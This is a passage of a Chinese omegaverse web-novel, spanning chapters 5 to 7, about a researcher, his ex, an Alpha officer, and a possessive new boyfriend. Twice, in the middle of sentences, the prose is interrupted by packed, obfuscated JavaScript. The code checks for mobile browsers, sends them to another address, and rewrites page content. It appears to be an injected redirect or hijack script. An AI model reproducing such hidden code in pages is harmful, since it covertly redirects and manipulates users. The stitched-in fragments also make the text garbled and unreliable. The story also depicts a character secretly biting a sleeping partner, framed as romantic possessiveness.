陆言彰丝毫不敢泄力,全身肌肉绷紧,死死压制棕熊,就在那畜生试图再次前扑的刹那,身形跃起,却不是冲向棕熊,而是冲向殊景。 五米距离,瞬息即至。 陆言彰一把捞起殊景,熊掌擦着他拍下的同时,纵身后跳。 轰!碎石断枝翻飞,陆言彰抱着人就地翻滚,后背擦过岩棱,划开数道血痕。 殊景喘息着,竭力维持清醒:“它骨骼好像被强化过,要从斜下方,我来…” 话音未落,陆言彰已将匕首换至受伤的右手,左手牢牢扣住殊景腰背。 “就在这儿,哪也别去。” 殊景以为他是让他待在原地,没想下一秒,他双脚悬空,整个人被拦腰抱了起来。 厉风擦过,陆言彰用外套罩住他。 殊景看不见了,完全陷入这个胸膛,额头抵着一处皮肤,脉搏在那里跳动,一下,又一下,箍在腰间的肌肉起伏,像要将他揉进去。 几乎窒息,不只因为拥抱太紧,更可怕的是信息素。 从Alpha身上喷薄而出,充斥这个狭小、滚烫的空间,把他彻底吞没。 “…没事了。” 低沉嗓音带起喉结震动。 殊景不禁颤栗了一下,原来他一直紧贴的是对方颈窝。 棕熊卧倒在地,全无声息。 陆言彰仍没松手,他脸上溅了血,作战服也是,可殊景被他护在外套里,遮得密密实实,没沾染半分污秽。 像安抚受惊的雏鸟,陆言彰手掌贴靠殊景,轻轻摩挲,外套散开,露出怀中人小半张脸。 那张脸闷出红晕,刚才被抱紧时脸颊印着衣扣,留下压痕。 而除了脸颊,其余地方肤色雪白,鬓发湿透,嘴唇微微张开,喘息着,似乎没完全醒过神,瞳孔有些失焦。 光线透入时,殊景才条件反射眨了眨眼。 这一眼水光濛濛,像被里外浸润。 陆言彰喉咙微滞,呼吸不自觉压抑,放缓,黑色作战服因骤然的紧绷透出禁欲感,被绷带扎紧的袖子,浮出成熟男性的线条,静默而克制。 他的状态依旧称得上无懈可击。 所以殊景看不清他凝视他时,眼底那种令人心胆俱颤的东西。 但这并不妨碍,他记起那股强悍的信息素。 像是不管不顾、非要在他身体里凿出个标记点,却又无法找到,于是只能横冲直撞,到最后几乎将他从内部撕裂。 曾经,殊景差点死在这个Alpha失控的掠夺里。 那是信息素亲口告诉他的真相。 他不是Omega,不能被标记,他们不合适,无论身,还是心,从来都不是同路人。 殊景垂下眼,“谢谢。” 肩膀仍被握着,握得很紧。 陆言彰喉结微动,想说什么,余光瞥见附近古杉后,一道高挑人影。 他眯眼,对着耳际通讯:“捉人。” 怀中蓦地一空,殊景离开他,一连退了好几步。 “……”陆言彰手臂仍维持环抱的姿势,温度被抽走的刹那,反应不及,手指止不住痉挛了一下。 他往殊景面庞细细凝去一眼,似乎想判断他的状况,然而殊景却没再看他,径直走到棕熊尸体旁,检查腺体部位。 没有近期实施手术的痕迹,腺体移植排异率极高,现有记录里移植存活期最长不超过七天。 这到底是什么实验? 阴影停在身侧,殊景瞥了眼那双军靴,“我救了你,你也救了我,我们扯平了。” 陆言彰仿佛没听懂暗示。 他目光从殊景头顶的发旋,落向那截柔软后颈。 它正因低头而微微弯曲,露出一小片皮肤,比昨晚视角更清晰,靠近肩胛处,有一颗小小的痣。 陆言彰记得每个细节。 记得那颗痣和它的主人一样,害羞时会变红。 殊景看起来清瘦,皮肤也轻薄温软,无论什么地方,含在嘴里都是绵绵一小团,让人总想在上面反复磨蹭。 越磨蹭就越红,红得像要滴出血,舔上去,还会细细地颤…… 此时此地,这种联想岂止不合时宜,简直严重悖逆陆言彰所受的训练和教育。 他很清醒。 他自己这么觉得。 Alpha半蹲下,摘掉手套。 殊景仍在棕熊腺体附近摸索,属于另一个人的手也放上去。 比他的要大上一圈,其中一根手指的指尖,才堪堪到另一根的第二指节。 两人小指不经意挨了一下。 其实没有真的碰上,是晨光斜射,那只更大的手投下阴影,刚好将那只小许多的手轻轻拢住。 碰到的只有温度。 殊景没注意,仍在感受皮下腺体形状,与人类的理论大小做对比。 陆言彰眼神微抬,从睫毛缝隙里,看他。 Beta漂亮的眉毛微微蹙起,纤白手指在野兽粗硬的皮毛间抚触,瞳仁沉静如水,神态宁和专注,将这头已经死去的肮脏畜生,衬托得宛如一头大型宠物。 陆言彰敛眸。 “这头熊,我会调查。” 殊景动作一顿,刚要说什么,对方又补了一句;“你帮我治伤,我送你下山,才算扯平。” 殊景:“……”他明明只是借给他伤药。 可陆言彰没等拒绝,再次与下属建立通讯,就此一锤定音。 殊景实在不想跟前任有更多牵扯,但回忆棕熊的行为模式,有什么地方透着古怪。 而且,从刚才起他就有种被窥伺的感觉,仿佛有双眼睛藏在暗处,正盯着他一举一动。 同陆言彰一道下山,确实是更明智的选择。 殊景不再多说,走到一边。 陆言彰看他离这里稍远,拿出军刀,开始处理棕熊尸体。 锋利刀刃割开皮肉,宛如在切牛排,动作斯文,刀法流利。前提是,忽略那张端方冷峻的脸上,瘆人的野兽血迹。 抽血、切取组织,收进密封袋,一气呵成。 殊景绕着木屋转了两圈。 林间空气舒朗清新,信息素被流动的风吹散。 他忽然停住脚步。 某种从没闻过的味道,掺杂在雨后苔藓与腐殖土里,细细飘来。 殊景循着找去,在岩石缝隙里几经探寻,发现一簇菌种。 伞盖才小拇指大,颜色与环境相近,浅棕褐菌肉上分布着莹蓝星点,尚未完全张开,掩在层层叠叠的落叶下。 要不是殊景嗅觉特殊,根本不可能发现。强烈的科研直觉让他意识到,这很可能是个新物种。 他立刻拍照并默记下菌种与木屋的相对方位,出于保护原则没有采集。 看着照片,殊景露出遇险以来,第一个发自内心的微笑。 但那温和神色只流露了一瞬,顷刻便收回,在陆言彰走近前,换上惯有的冷淡表情。 林中渐亮,两道影子一前一后,不时因脚步交错短暂重叠,又很快分开。 陆言彰像刻意维持距离,始终领先两三步,偶尔停下,却不再回头。 他们追踪猎户活动的痕迹,顺利找到人,好在都没大碍。 其中一个猎户递给殊景一块石头,“您说的陨石,是这种吗?我看着像,又不太确定。” 殊景才想起进山还有一个目的,但看后摇了摇头:“不是。” “那还找吗?您有急用?”这猎户与殊景合作过几次,知道他野外考察,找东西多半为搞研究。 “不找了,也不急用,只是想送人…” “送人?” 声音插进来,殊景后背一僵。 陆言彰当然知道陨石的意义,年少时的某个夏夜,他们曾一起躺在露台,殊景对着星空说起母亲留下的那块石头。 四岁那年,母亲离开他,临走留下陨石时对他说:天外来星,要送给最爱的人。 ——妈妈最爱小景。 后来,连陆言彰都没有得到那块石头。 而现在,殊景在这么危险的地方,找另外的陨石,说要……“送人”? 陆言彰从殊景身侧走过,最初略快,后来离得远了才放慢,步履稳健,背影卓然。 仿佛刚才只是随口一问。 殊景嘴唇动了动。 “送给男友”,这种话在这时候,特意去讲给前任听,太刻意,更没必要。 他们不过是碰巧遇到、即将分道扬镳的关系。 而且陆言彰也不会在意。 殊景继续与猎户交谈,他没发现,走到远处站定的男人,目光不轻不重落在某个方位。 被猎户扔掉的石头,滚到了树荫下。 普通,不起眼,泯然众石。 陆言彰却精准锁定它,如同以往锁定每个潜在敌人。 猎户开来的皮卡停在进山土路边。 车轮扬起尘土,载着殊景驶离。 直到黑点彻底消失在视野,陆言彰仍一动不动,尽职尽责站完岗哨,许久才转身,重新走入深林。 木屋附近,副官贺翎已在等候,见他过来,从冷储箱中取出一支抑制剂,“长官…” 陆言彰做了个止语的手势,在棕熊肩后侧仔细查探,直至触及异物。拨开皮毛,微型镜头露了出来。 贺翎吃了一惊,这么隐蔽的摄像头,居然都能发现! 但长官怎么现在才处理它? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405124|200463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆言彰拆摄像头的手法也极熟练,可惜还是晚了一步。 [信号已中断,自毁程序启动,数据丢失。] “拿回去,查出后面是谁。” 陆言彰起身接过抑制剂,撩起袖口,露出小臂。 虽然医生要求他定期注射,但现在其实并没到时候。 贺翎从通讯得知要准备抑制剂时,就觉得疑惑,别说一头熊,以往出过的任务里,高等级Alpha不在少数,都没见陆言彰需要抑制剂。 可眼见那针头扎进静脉,在左臂拧成凸起的爬虫样青筋,贺翎止不住眉心一抖。 特制抑制剂呈凝胶状,出了冷箱就会变得粘稠,需要粗型针管注射,陆言彰一针进去却仿佛毫无感觉。 也是这片刻,贺翎才注意到他左臂的绷带。 咦?长官有受伤?动作完全看不出来。 普通Alpha身体素质都强于常人,何况是陆言彰,这种程度的伤,按说并不用特别处理。 可瞧这包扎方式严丝合缝,不仅处理过,还处理得非常妥帖仔细,好像生怕晚一点,伤口就自己愈合了。 果然,陆言彰拔出针头,也瞥见那层绷带,抬手要把它扯掉。 可刚碰到,忽又顿住,然后他收回手,任由绷带继续缠在胳膊上。 贺翎:…… …障眼法?在谁面前做样子? 这绷带……似乎也不是他们常备的制式吧。 陆言彰:“那人呢?” 贺翎忙甩掉脑子里奇奇怪怪的想法。 “抱歉长官,对方身手极好,放倒我们两个人,没看清长相,只知道个子很高,至少一米九以上,必然是Alpha,且级别不低。” 这描述,和陆言彰所见树后闪现的身影吻合。 “是K9?” 那个黑客近半年一直在暗网调查B转O项目的资金和数据,技术顶尖,行事诡谲,从未留下任何身份线索。 贺翎回答:“可能性很大,我们发现K9在您附近后,就触发了侦查警报,立刻被他反黑了。” 陆言彰沉吟,想到昨天引棕熊攻击他的那道影子,目前不确定和今天树后那人是否为同一个,但也极可能就是同一个。 对方让他暴露在熊掌下,分明是想置他于死地。 什么人,这么恨他? 陆言彰并没将这件事告知贺翎,只道:“如果是K9,体型和Arius实验体失踪时对不上,但不排除分化后迅速成长。” 晚分化的Alpha,在短短一两年内身高大幅增长的不在少数。 贺翎也点头:“如果K9是实验体,那他针对B转O就有充分动机,可以等…” “和他合作。”陆言彰打断他。 三年了,不能再等了,无论那人想做什么,哪怕要他的命,那也必须等他先把B转O的事彻底解决。 男人拧眉,原地踏出一步,军靴重重踩进泥土,“K9一定掌握了我们不知道的情报,尽快弄到手,不惜代价。” “但是…”贺翎察觉他的长官,正罕见地流露出沉不住气。 “从行动模式看,K9应该已经查到您的身份,否则不会这样紧盯着您不放,而如果他还是实验体,恐怕就更难相信我们了…” “相信”两个字出口,贺翎还没意识到说错话。 但下一刻。 骇人的压迫和周遭扬尘一起上浮,焚香味道从抑制剂的强制清洗下复生。 贺翎终于知道,陆言彰为什么要他准备抑制剂了。 是顶级Alpha的信息素。 最淡泊的味道,最恐怖的力量。 自从三年前那场实验室事故后,贺翎就再没闻到过。 为什么这回…… 抑制剂针头在掌根弯曲,几滴血珠沿导管反向回流,陆言彰淡淡道,“那就找到他的弱点,逼他合作。” “…是。” 作为全国战力排行第一的Alpha特种部队执行队长,精英中的精英,贺翎此刻已经抬不起头。 空气被烧灼,像晒干后的草木灰,在那股碾压下碎成霰粉,叫人呼吸困难。 面对殊景,陆言彰确实克制了,他真正的能力其实从没敢向他的Beta完全展露过。 无论刚刚那一瞬的信息素涌动,还是现在的相对平息,陆言彰都神色如常。 “山雾有问题,可能是诱饵,那头熊恰好在殊景进山时出现,不是巧合,尽快分析这些东西。” 殊景! 嘶…… 贺翎倒抽了口气。 原来昨晚和长官待在一起的人是—— 难怪……难怪! 难怪又有了信息素,难怪要回来后再拆摄像头。 贺翎强压下内心波涛汹涌,接过密封袋,犹豫再三,硬着头皮问,“要调查殊景先生吗?” “不。别把他卷进来,他的事,不准任何人插手。” 顶级Alpha居高临下站着,肩颈线条弧度凌厉,带着天生的威严,世家熏陶出的教养却又让他习惯克己,姿态气度沉稳严明、无可挑剔,再是哪个角度,刚才那点焦躁都已无迹可寻。 “明白,长官。”贺翎眼观鼻鼻观心。 “我先回去复命。”这次陆言彰是跟着地质勘探队进山的,身边还有眼线,得有个交代,而且他需要去申请一道新的地方考察令。 在此之前…… 陆言彰转身走向木屋,手里拿着即将用于土壤取样的特制容器。 刚到门口,眼神骤然变得冷冽。 屋内一片昏黑,顶级Alpha视力极佳,他甚至无需推门,就可以透过随风翕合的门缝,看进里面。 火堆废墟旁,床上,什么都没变,只有他昨晚替殊景换下来的那件贴身衣物…… 不见了。 6. 第 6 章 殊景赶回宁川时,已经是第二天下午。 他在车上囫囵睡了几个小时,下车就直奔实验室,温瞳正伏在台前核对数据,听见开门声抬头,惊讶道,“组长?你不是出差了吗?” “提前回来了。”殊景从包里取出容器,打开保温层。 “银针草?”温瞳一眼认出来。 “你认识?” “嗯,在梁教授的书里读到过,《信息素植物学》那本,第三章有讲的。” 温瞳腼腆一笑,他口中的“梁教授”正是殊景的导师梁觉非,但他并不知道殊景是梁教授的关门弟子。 那本书也是导师的成名作,殊景有一本,被翻得很旧了,扉页还有一句签名。 [致爱徒]。 殊景略微点头,他看得出,温瞳很崇拜导师,谈及偶像,话都多了起来。 “我听说教授刚毕业时就是在咱们所里工作,图书室好多他的书…” 两人一边交流,一边为银针草清理根系,移植培养舱。 冬季银针草叶脉更密,有效成分浓度更高,但也更容易失活,需要小心再小心。 “光强1800,蓝光40%,营养液pH6.2,改用硝态氮为主,增加硒和钼。” 玻璃罩闭合,导管开始循环,气泡从根系升起,殊景寸步不离盯着监测屏。 “每半小时报一次数据。” 温瞳点头,打开实时记录系统。 实验室紧张而寂静。 窗外灯火渐稀,晚上十点,第七轮适应性分析完毕。 移植状态趋于稳定,殊景揉了揉太阳穴,起身时眼前一黑,坐在原地缓了好一会儿,才走到休息区,从储物柜翻出饼干和水。 角落那个工位亮着灯。 “温瞳?” 怎么还在?殊景记得不到六点就让他回去了。 温瞳正发呆,听到声音,整个人惊得一颤,手边的空水杯被打翻。 “啊,组长…”他慌忙扶起杯子,“就…就走了。” 话虽如此,温瞳却仍坐着没动,手指攥紧杯壁,眼神落在桌面,有些飘。 殊景走到近前。 温瞳是I型安抚剂项目组唯一的固定成员,课题立项时没人报名,或者说没人冲项目本身报名,只有他跟着他直到现在。 这个内向温吞的Beta,对待工作踏实认真,以前常一起加班,后来结了婚,渐渐每天都准点回家。 “怎么了?”殊景轻声问。 温瞳缩起肩膀,手指绞着,扯出个笑:“数据还没对完…” “明天做也来得及,回去吧。很晚了,注意安全。” “哦…那…你呢?” “我在办公室住一晚。” 来回太耗时间,现在只想找个地方倒头就睡。 殊景回到自己工位,饼干加白开水,能维持血糖就行,他机械地吞咽,差点就这样打起了瞌睡。 温瞳还在收拾,把东西塞进包里,又取出检查一遍,再塞进去。 窗外,梧桐枝摇晃。 玻璃发出噼啪,某片叶子被风吹到二楼。 殊景支着下巴,咀嚼的动作忽然停了,微微往前倾身。 研究所大门斜对面,依稀站着个人。 穿着短羽绒服,卫衣帽子遮住大半张脸,双手插兜,一边小步跺脚,一边仰头望向这扇窗。 货车驶过,大灯遮挡视野。 等光线移开,那里却空了,只有梧桐叶沙沙作响。 殊景:“……” 他立刻放下饼干,去找手机,手机刚充电,一直没开机,这会儿未读消息和未接来电的提示接连弹了出来。 18点20分。 [哥哥,一直没你的消息,出差顺利吗?] 19点21分。 [你猜我现在在哪?在研究所外面,其实只是路过。(偷笑)] 20点30分。 [楼里有间房还亮着灯,但是你出差了,应该不在吧。] 21点15分。 [图片]今天从冰箱拿出来的巧克力,表面有点融化了,像不像一只螃蟹? [图片]新研西瓜拿铁,无籽西瓜用勺子挖成球,看我挖得很圆吧~(得意) 21点20分。 [哥哥工作忙,不用理我,我只是有点想你了。] 22点10分。 [那我这就回去了…] 刚刚。 [哥哥,我能多待一会儿再走吗?总觉得在这里,能离你近一点。] 殊景猛地起身。 那人仍在树下,持之以恒地、仰望这扇窗。 办公楼的玻璃从外面是看不清里面的,那人却在寒风中站了将近四个小时…… “组长?”温瞳的声音从身后传来,顺着殊景目光也看到了楼下的人,“那是…?” 殊景抿唇,沉默。 研究所同事大多知道他有了男朋友,但温瞳不合群,也不参与八卦,那天试验田里他恰好不在。 “是我男朋友。”殊景听见自己这样说。 温瞳愣了愣,又一次看向楼下,“是…Alpha吗?” “是Beta。” 温瞳像松了口气,“那还好。” 语气耐人寻味,但殊景没听清,他正拿手机拨通祈继的号码。 一声都没响完,就被接起。 “哥哥?!” 惊喜的,急切的,像饼干被咬碎时发出的那声脆响,连带殊景心里某个地方,都跟着跳跃了一下。 “我在楼里…看到你了。” “啊?真的是你?你看到我了?那我是不是打扰你工作了?我…我就是有点担心,你一直没回消息…我也没别的事…就…对不起…” 殊景听着他磕磕绊绊的解释。 明明比起祈继,更该说对不起的是他。 “…在忙实验,手机没电了,不是故意不回你的…” 他想说“对不起,让你担心了”。 但祈继已经接上话:“那就好,那就好…那你…我…我就在这儿等着,等哥哥下班,我不吵你。” 我不吵,我很乖。 温顺拘谨得像一只流浪小狗,刚被主人捡回来,叼着尾巴可怜兮兮哼唧。 饼干夹心的奶油,化开后盈满整个口腔,依然没有味道,但殊景感觉到柔软。 他和温瞳一道出来时,祈继站在铁门边,正翘首以盼。 那张脸被冷风吹得通红,眉毛覆着一层白,是呼吸反复融溶又凝结的薄霜。 可一看到殊景,祈继唇角的笑意就明亮坏了,整个人仿佛都在向上飞扬,狗狗眼直勾勾的,率真而热切。 头一回,殊景在祈继面前感觉心慌。 这异样瞬闪即逝,青年已朝他过来,几大步到了跟前,握住他的手。 这双手也很热,比刚从办公室出来的他还要热。 “哥哥脸色不太好…” 祈继握着殊景,边摩挲他手指,边将人往自己怀里带。 殊景没来得及抗拒,也没有抗拒。 他现在思维不太灵光,眼里都是红血丝,还有黑眼圈,蓬头垢面,虽然没照镜子,但模样肯定不会多体面。 但祈继就是迫不及待贴向他,是对很喜欢的人,才会控制不住的生理反应。 温瞳朝两人低声道别,匆匆离开。 祈继满心满眼只有殊景,把他全身上下前后左右都打量个遍。 殊景任由他揽着,也难为他大脑还能转得动,刚才紧急将外衣都换了,多亏办公室有统一配的羽绒服和裤子鞋子,才不至于穿破洞的衣服跟男友见面。 可惜殊景猜到祈继会担忧,却还是低估了他对他的在意程度。 “哥哥刚才吃了饼干?” 祈继注意到他嘴角的碎屑,殊景吃东西很斯文,这种情况显然是吃得过于仓促、随意凑合的结果,“是不是没吃晚饭?” “…所以才吃的饼干。” “饼干怎么能算饭,我去给你买热的!” 殊景慢半拍意识到,自己认为无所谓的事,在祈继这里可能有些严重,他抓住他,“不要,太困了,想回去睡觉。” 这一声夹杂着些许鼻音,软软的,像一池春水。 而后他的手顺祈继手臂滑下,自然牵住他。 祈继:“……” 他在发呆。 仅仅这样的碰触,就让他呼吸乱了,耳根到半张脸都在红,被风吹过头似的,皴红皴红。 殊景没发现,他太累了,只感觉祈继用另一只手轻轻拉了拉他的袖子,将他手背完全拢进温暖的袖口。 “好,那我们回家。” 研究所在两人身后渐远,前方道路星星点点,像一条粼粼的河。 小城的末班公交,没有其他乘客。 车厢颠簸,殊景眼皮沉重。 历经生死、高强度实验,还要对抗超感症,是回想都觉得不可思议的程度,撑到现在,确实连坐稳都很勉强。 也有可能是因为身边有了人,与那些事情无关的人。 不危险,很安全,让他可以歇一歇。 “哥哥,要不要靠着我?” 殊景顺势偎了过去。 祈继大概以为会被拒绝,一时没反应过来,姿势僵硬两秒,才赶紧放松肩膀,调整角度让殊景靠得更舒服。 然后,他像想起什么,低声开口:“刚才那个同事…我忘了自我介绍。” 殊景闭着眼,“我跟他说了。” “哦。”祈继讷讷回复。 真的是,傻乎乎的。 胸口那种酸软又来了,还有点发涨,仿佛被什么毛茸茸的生物探头探脑地拱进去,来回细密地揉搓。 殊景:“我说…你是我男朋友。” “……” 公交车的铁皮声咔哒作响。 祈继却静住了,一起停滞的还有他的呼吸。 “是、是吗?” 那句话似乎并没什么,但要紧的,它是从殊景口中说出来的。 温瞳不是Alpha,他没必要在一个单独且毫无社交隐患的Beta面前说明他们的关系。 完全没必要。 所以……并不是为了“必要”。 祈继的心砰砰直跳。 人在过度激动时就会胡思乱想,他开始碎碎念,“可我刚才都没跟同事打招呼…会不会很没礼貌?是有点吧…” 不止一点,越想越觉得很没礼貌,祈继懊恼极了,自己都不知在讲些什么,开始声调略高,后来又越说越低,“我好像给哥哥丢脸了…” 殊景轻轻摇头:“不会,你很好。” 祈继睁大眼,暖褐色瞳孔泛起异样的光,他敛着眼皮,让那些光千万不要跳出去,可湖水荡开涟漪,就会一直扩散,根本压不住。 终于,肩上的人睡着了。 祈继没忍住,侧过脸,偷偷看。 这个简单的动作,他做得很慢、很慢。 殊景面容在光里明灭,睫毛落下来,亦深亦浅。 祈继轻托住他下巴,防止他滑落。 掌心触到的皮肤温软细腻,殊景微张着嘴,正在均匀呼吸,唇珠那一小撮透明绒毛上,沾着枚极小的饼干碎屑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405125|200463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 祈继拇指情不自禁,轻微地一触即分。 “可以帮哥哥擦嘴吗?” 说是男朋友,这样做,可以吧? 祈继指腹有些粗粝,缓慢从殊景唇上最顶端拂过,颗粒的摩擦感,香甜而刺激。 他舍不得将它们就这样擦掉。 他想吃掉。 不,也不是吃掉,想含在嘴里,一点点融化掉,让它们停留的时间久一些,再久一些—— 祈继猛地一怔,笑容僵住,像被粗鲁地从极致美梦中拽醒。 他指尖碰到了殊景颈侧,这里面本该有一件高领打底衫,现在却只剩毛衣…… 车辆到站,广播声响起。 祈继动也不动。 直到司机回头提醒,他才起身,没有叫醒殊景,而是将人背到背上。 公交车驶离,带起一阵风,祈继用自己的围巾环着殊景,身体压到最低,让他不需要用力就可以靠住他肩背。 “放我下来…”殊景将脸往祈继脖子里埋。 背着他的人脚步放慢。 但他依然熟睡,那句喃喃只是梦呓。 可祈继分明感觉殊景朝他贴近,看见他唇角含着一点笑,听见他无意识发出的声音。 “阿争…” 祈继脚步彻底停下了。 街道空空荡荡,风灌进领口,很冷。 他并不觉得冷,他想的是,起风了,哥哥会冷。 于是他继续往前走。 可喉咙已经被堵住,那把火到底烧起来,烧不尽,感官抽走,只余一片茫然。 “滴——” 汽车鸣笛声,分外刺耳。 祈继怔怔望着前方,半晌,他转过身,拐向十字路口另一个方向。 他的住处和殊景的就隔着一条街,遥遥相望。 其实他们能在同一个小区,甚至门对门都不成问题,但适当巧合是缘分,太多巧合,就该引起怀疑了。 祈继背着殊景走上楼梯,脚尖轻顶开门,将人小心放在床上,替他脱去外衣和外裤。 殊景累极了,全程没醒,只在被放下时动了下,似乎祈继的温暖让他留恋,不由自主想依向热源。 祈继一手撑在殊景颊边,单膝跪在床上,没有立刻离开。 空气干净宁谧,月光清透,映着床上的一切。 殊景里面没有打底衫了,只剩薄毛衣。 侧躺的姿势下,毛衣虚虚盖住他小半截腰,当中一道被松紧带勾出来的淡红勒痕,塌陷腰窝下,连接饱满浑圆的一段线条。 就这么毫无防备,躺在他身下。 美好、脆弱,可以任他施为,又仿佛轻轻一碰就会碎。 祈继呼吸渐渐沉重。 为舒适考虑,他应该帮他将毛衣脱掉,换成睡衣的。 他是男朋友,他关心他,他可以。 然而,祈继目光腾挪辗转,从殊景眉眼,滑过鼻梁、嘴唇,最后停在后颈。 他把脸蹭到那里,小动物般细细嗅闻。 Beta不会被标记,信息素在身上保存不了多久,再是多高多强,都只能留于表面,区别不过在留几个小时,还是几天。 现在,这里干干净净,没什么痕迹,也没有任何不该有的味道。 可祈继知道它们存在过。 喉结艰难滚动,吞咽时止不住抽搐。 和刚才一样,殊景叫出“阿争”时,祈继感到心脏被用力抓了一把,又狠狠挠了两道。 联想像蛛网,又像苔藓,一旦从阴沟里起步,就生长黏连。 从碎片连成画面,从模糊到清晰。 深刻,且真实。 因为祈继曾……亲耳听见过。 就在更早的时候,就在一墙之隔。 清冷压抑的啜泣声,从捂住嘴的指缝间倾泻,那些夹杂着痛楚的哀求,反而激起更凶恶的索取。 黏腻响动,湿热喘息。 欲.望原始而汹涌,比起没显露出的,却不过冰山一角。 平常克制得越厉害,反弹起来就越疯狂,越是无法标记,就越是发了狠地要占有。 那个男人,就那么用信息素一遍遍浸染殊景。 将他白皙的背、纤细的腿、柔软的腰,都弄出红印子。 哥哥的鼻子稍微蹭一下就红,身上更是,经不住什么力气的。 但没办法,顶级Alpha,就是这样恶劣的生物。 祈继捏住殊景的毛衣下摆,仿佛下一秒,就要借照顾的名义,把他身上这些衣服全部褪去,一件不留。 把那个男人亲手穿上的衣服,由他来亲手剥掉。 就好像把那人的皮也一并揭下,让哥哥看看他的“阿争”,端着一副正人君子的模样,干得都是怎样肮脏下流的事。 祈继撑在床上的那只手,指尖几乎将床单抠出一个洞。 但另一只手,却愈发温柔地,将殊景的毛衣一点点拉好,遮住让人心猿意马的风光。 然后,他慢慢俯身,嘴唇贴合肤肉,犬齿尖端缓缓没入…… 房间里,没有任何声音,殊景睡容恬静,毫无所觉。 勾连的银丝,在黑暗中拉出一道细线,另一端连在殊景肩胛骨、那枚淡褐色的小痣上。 祈继伸出舌尖,意犹未尽舔了下唇角。 银线断了,在那片洁白皮肤上,留下暧昧湿润的痕迹。 他的。 他的气息,他的印记。 而那个男人,占尽天时地利,到头来还不是被哥哥丢掉。 真没用。 现在,他才是哥哥的—— 男朋友。 7. 第 7 章 殊景还没完全清醒,就先闻到一种苦草味。 他仰望陌生的天花板,记忆回笼,意识到自己大概在祈继家里。 手机就在床头柜上,竟然已经到了十点。 殊景立刻往实验室打电话,确认银针草状态。 “组长,你下午来吗?我可能得早点走…” 温瞳情绪听着不太对,殊景想到昨晚,猜测应该是家里有什么事,他没问,直接批了半天假。 申请出差时殊景预留有时间,他提前完成任务,其实可以多休息半天,不用去所里,但他惦记着实验室,挂了电话便起身下床。 大概因为补足睡眠,殊景身体难得轻松,还是第一次在超感症发作后,有这种感觉。 窗外阳光也好,暖洋洋洒进来。 祈继的卧室不大,床、衣柜、书桌,就塞得满满当当,但布置温馨整齐,跟念念风格差不多。 而那股苦草味,殊景也找到源头,来自窗台放着的几盆韧息草。 他脚步疑惑地顿了顿。 这种由薄荷培育出的亚型,是他早年在首都研究院带队研发的成果,因为气味刺激,难以被大众接受,后来改良出二代,初代就被淘汰,现在市面上几乎已经绝迹。 没想到祈继这里,还养着好几盆,看长势,应该被精心照料过不短的时间。 卧室外,客厅沙发上,枕头与薄被叠放整齐,某个方向传来抽油烟机的响动。 殊景走到门边,看见祈继背对他站在灶台前。 白汽从砂锅升起,另一口炒锅也正在滋啦冒油,青年穿着家居T恤,腰系围裙,握锅铲的姿势很熟练。 “哥哥醒了?”祈继没回头,声音上扬,“早午饭马上就好,厨房烟大,出去等吧,别呛着。” 殊景原打算直接去单位,看到流理台上摆满的各种配菜,话到嘴边,没能说出口。 难得睡一次懒觉的工作狂微微脸热:“你怎么知道我来了?” “当然是背后长了眼睛。”祈继转头,冲他眨眼。 明知他故意逗他,殊景还是不自觉翘起唇角。 这间厨房很小,天花板又低,以祈继的个子站在里面有些压抑,但反过来,这满满的烟火气,也让他比平常少了青涩,多了可靠。 “哥哥睡得太沉,舍不得叫醒你,就自作主张把你带回来了,没生气吧?” “没事,给你添麻烦了。” “怎么会麻烦?只要哥哥睡得好…”祈继目光从殊景脖颈飞快掠过,“昨晚睡得怎么样?” 殊景正挽起袖子,“挺好的,我帮你打下手。” 研究所有食堂,他不怎么做饭,但从前也常给外婆帮忙。 “不用,差不多弄完了。”祈继一边关小火,一边将菜盛出,状似随意地道,“还没问哥哥,这次出差顺利吗?有没有遇到什么特别的事?” 殊景指尖一顿。 特别的? 和前任被困木屋,算吗? “还行…”他敛下视线,“但是答应给你带礼物,没碰到合适的。” 祈继更自然地笑起来,善解人意:“哥哥是出差去的,当然工作重要,我没关系的。” 殊景要去端汤,手还没碰到,就被拦住。 “烫,我来。” 送完汤回到厨房,祈继见殊景还站在原地,许久没有动静。 他悄悄走近,殊景睫毛一颤,抬头望来。 仅仅看着,光与影却像单独给予偏爱,虽然面容略有憔悴,但那双黑眸沉静,凝视时,含蓄而温柔。 不多,只一点点,就似衍生充沛情感,漫出来,淌进祈继晦暗的心。 他几不可察地、认输般叹了口气,弯腰,下巴搁在殊景肩膀,虚虚一压,完全没用力。 “哥哥怎么这种表情?该不会…因为别的什么,才把我忘了吧?” 三分调侃、两分委屈,剩一半真心实意。 殊景抿唇,低下声音:“对不起。” 祈继一怔:“……” 周遭忽然沉寂。 “我开玩笑的!怎么当真了。”祈继连忙抢白,脑袋歪着挤进殊景颈间,蹭啊蹭,直到他痒得忍不住发笑,才轻轻推住人,“去洗漱吧,快开饭了。” “可是…” “你在这儿,我就总想和你说话,你也不想我分心,一会儿吃不上饭吧?我饿肚子不要紧,哥哥可是昨晚就没好好吃饭。” 殊景就这么被一路推进浴室。 洗漱台上,毛巾、牙刷已经摆好,旁边凳子上还叠着一套家居服。 “可以顺便冲个澡,穿我的衣服,都是新的洗过了,换下来的衣服也可以直接洗,家里有烘干机。” 祈继很周到,在外奔波几天,殊景确实急需洗个澡,也是这时,他后知后觉一件事,“昨晚把你的床也弄脏了…” 